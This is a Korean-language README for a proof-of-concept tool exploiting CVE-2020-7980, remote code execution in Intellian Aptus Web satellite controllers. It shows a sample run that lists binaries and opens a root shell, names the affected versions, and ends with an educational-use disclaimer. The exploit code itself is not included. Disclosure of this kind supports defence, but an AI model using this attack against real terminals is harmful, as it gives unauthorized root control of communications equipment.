Satellian-CVE-2020-7980

Satellian은 Intellian 위성 컨트롤러(Intellian Aptus Web)에서 RCE 취약점을 보여주는 PoC 스크립트입니다.

다음 스크립트는 시스템의 모든 바이너리를 나열하려고 시도한 후, 테스터가 서버(일반적으로 root)와 직접 상호작용할 수 있도록 합니다.

PoC

xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
                  ________________________________________
         (__)    /                                        \
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\/ --' \________________________________________/ 
 / |     ||
*  ||----||             

Performing initial scan. Listing available system binaries.
Starting request to http://<redacted>
Executing command /bin/ls /bin
acu_server
acu_tool
addgroup
adduser
...

Satellian $ id
uid=0(root) gid=0(root)

테스트된 버전

Intellian v1.12, v1.21, v1.24.

면책 조항

이 저장소의 모든 정보는 교육 목적으로만 제공됩니다. 저장소의 작성자는 정보의 부적절한 사용에 대해 어떠한 책임도 지지 않습니다. 이 스크립트는 개념 증명일 뿐이며, 악의적인 활동을 위해 개발된 것이 전혀 아닙니다.